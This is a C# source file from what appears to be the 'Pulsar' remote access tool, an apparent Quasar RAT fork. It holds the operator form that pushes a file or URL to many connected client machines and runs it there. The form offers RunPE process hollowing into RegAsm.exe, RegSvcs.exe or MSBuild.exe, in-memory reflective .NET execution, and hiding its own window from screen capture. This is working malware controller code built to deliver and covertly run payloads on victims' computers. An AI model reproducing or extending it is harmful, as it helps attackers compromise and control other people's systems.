Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

338 lines
12 KiB
C#

using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Models;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmRemoteExecution : Form
{
private class RemoteExecutionMessageHandler
{
public FileManagerHandler FileHandler;
public TaskManagerHandler TaskHandler;
}
/// <summary>
/// The clients which can be used for the remote execution.
/// </summary>
private readonly Client[] _clients;
private readonly List<RemoteExecutionMessageHandler> _remoteExecutionMessageHandlers;
private enum TransferColumn
{
Client,
Status
}
private bool _isUpdate;
private bool _executeInMemoryDotNet;
private bool _useRunPE;
private string _runPETarget;
private string _runPECustomPath;
public FrmRemoteExecution(Client[] clients, bool Updating = false)
{
_clients = clients;
_remoteExecutionMessageHandlers = new List<RemoteExecutionMessageHandler>(clients.Length);
InitializeComponent();
chkUpdate.Checked = Updating;
cmbRunPETarget.SelectedIndex = 0;
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
foreach (var client in clients)
{
var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler
{
FileHandler = new FileManagerHandler(client),
TaskHandler = new TaskManagerHandler(client)
};
var lvi = new ListViewItem(new[]
{
$"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]",
"Waiting..."
})
{ Tag = remoteExecutionMessageHandler };
lstTransfers.Items.Add(lvi);
_remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler);
RegisterMessageHandler(remoteExecutionMessageHandler);
}
}
/// <summary>
/// Registers the message handlers for client communication.
/// </summary>
private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
{
// TODO handle disconnects
remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed;
remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage;
remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated;
MessageHandler.Register(remoteExecutionMessageHandler.FileHandler);
MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler);
}
/// <summary>
/// Unregisters the message handlers.
/// </summary>
private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler)
{
MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler);
MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler);
remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage;
remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated;
remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed;
}
private void FrmRemoteExecution_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length);
}
private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e)
{
foreach (var handler in _remoteExecutionMessageHandlers)
{
UnregisterMessageHandler(handler);
handler.FileHandler.Dispose();
}
_remoteExecutionMessageHandlers.Clear();
lstTransfers.Items.Clear();
}
private void btnExecute_Click(object sender, EventArgs e)
{
_isUpdate = chkUpdate.Checked;
_executeInMemoryDotNet = chkBoxReflectionExecute.Checked;
_useRunPE = chkRunPE.Checked;
// Check RunPE target selection
if (_useRunPE)
{
switch (cmbRunPETarget.SelectedIndex)
{
case 0: _runPETarget = "a"; break; // RegAsm.exe
case 1: _runPETarget = "b"; break; // RegSvcs.exe
case 2: _runPETarget = "c"; break; // MSBuild.exe
case 3:
_runPETarget = "d"; // Custom Path
_runPECustomPath = txtRunPECustomPath.Text;
if (string.IsNullOrWhiteSpace(_runPECustomPath))
{
MessageBox.Show("Please specify a custom path for RunPE.", "RunPE Custom Path Required", MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
break;
default: _runPETarget = "a"; break;
}
}
// Validate file type if RunPE or Reflection Execute is selected
if ((_useRunPE || _executeInMemoryDotNet) && !radioURL.Checked)
{
if (!txtPath.Text.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
{
MessageBox.Show("RunPE or Reflection Execute can only run .exe files.", "Invalid File Type", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
}
if (radioURL.Checked)
{
foreach (var handler in _remoteExecutionMessageHandlers)
{
if (!txtURL.Text.StartsWith("http", StringComparison.OrdinalIgnoreCase))
txtURL.Text = "http://" + txtURL.Text;
handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate, _executeInMemoryDotNet);
}
}
else
{
foreach (var handler in _remoteExecutionMessageHandlers)
{
handler.FileHandler.BeginUploadFile(txtPath.Text, "");
}
}
}
private void btnBrowse_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Multiselect = false;
// Check if any checkbox on the form is checked
bool anyChecked = this.Controls.OfType<CheckBox>().Any(cb => cb.Checked);
ofd.Filter = anyChecked
? "Executable Files (*.exe)|*.exe"
: "All Files (*.*)|*.*";
if (ofd.ShowDialog() == DialogResult.OK)
{
txtPath.Text = ofd.FileName;
}
}
}
private void radioLocalFile_CheckedChanged(object sender, EventArgs e)
{
groupLocalFile.Enabled = radioLocalFile.Checked;
groupURL.Enabled = !radioLocalFile.Checked;
}
private void radioURL_CheckedChanged(object sender, EventArgs e)
{
groupLocalFile.Enabled = !radioURL.Checked;
groupURL.Enabled = radioURL.Checked;
}
/// <summary>
/// Called whenever a file transfer gets updated.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="transfer">The updated file transfer.</param>
private void FileTransferUpdated(object sender, FileTransfer transfer)
{
for (var i = 0; i < lstTransfers.Items.Count; i++)
{
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
{
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status;
if (transfer.Status == "Completed")
{
var pathToStart = transfer.Type == Enums.TransferType.Upload ? transfer.LocalPath : transfer.RemotePath;
handler.TaskHandler.StartProcess(pathToStart, _isUpdate, _executeInMemoryDotNet, _useRunPE, _runPETarget, _runPECustomPath);
}
return;
}
}
}
// TODO: update documentation
/// <summary>
/// Sets the status of the file manager.
/// </summary>
/// <param name="sender">The message handler which raised the event.</param>
/// <param name="message">The new status.</param>
private void SetStatusMessage(object sender, string message)
{
for (var i = 0; i < lstTransfers.Items.Count; i++)
{
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
{
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = message;
return;
}
}
}
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
{
if (action != ProcessAction.Start) return;
for (var i = 0; i < lstTransfers.Items.Count; i++)
{
var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
{
lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process";
return;
}
}
}
private void chkBoxReflectionExecute_CheckedChanged(object sender, EventArgs e)
{
if (chkBoxReflectionExecute.Checked)
{
chkRunPE.Checked = false;
chkUpdate.Checked = false;
}
}
private void chkUpdate_CheckedChanged(object sender, EventArgs e)
{
if (chkUpdate.Checked)
{
chkBoxReflectionExecute.Checked = false;
chkRunPE.Checked = false;
}
}
private void chkRunPE_CheckedChanged(object sender, EventArgs e)
{
if (chkRunPE.Checked)
{
chkBoxReflectionExecute.Checked = false;
chkUpdate.Checked = false;
cmbRunPETarget.Enabled = true;
}
else
{
cmbRunPETarget.Enabled = false;
txtRunPECustomPath.Visible = false;
txtRunPECustomPath.Enabled = false;
btnBrowseRunPE.Visible = false;
btnBrowseRunPE.Enabled = false;
}
}
private void cmbRunPETarget_SelectedIndexChanged(object sender, EventArgs e)
{
bool isCustomPath = cmbRunPETarget.SelectedIndex == 3;
txtRunPECustomPath.Visible = isCustomPath;
txtRunPECustomPath.Enabled = isCustomPath;
btnBrowseRunPE.Visible = isCustomPath;
btnBrowseRunPE.Enabled = isCustomPath;
}
private void btnBrowseRunPE_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Multiselect = false;
// Check if any checkbox on the form is checked
bool anyChecked = this.Controls.OfType<CheckBox>().Any(cb => cb.Checked);
ofd.Filter = anyChecked
? "Executable Files (*.exe)|*.exe"
: "All Files (*.*)|*.*";
if (ofd.ShowDialog() == DialogResult.OK)
{
txtPath.Text = ofd.FileName;
}
}
}
}
}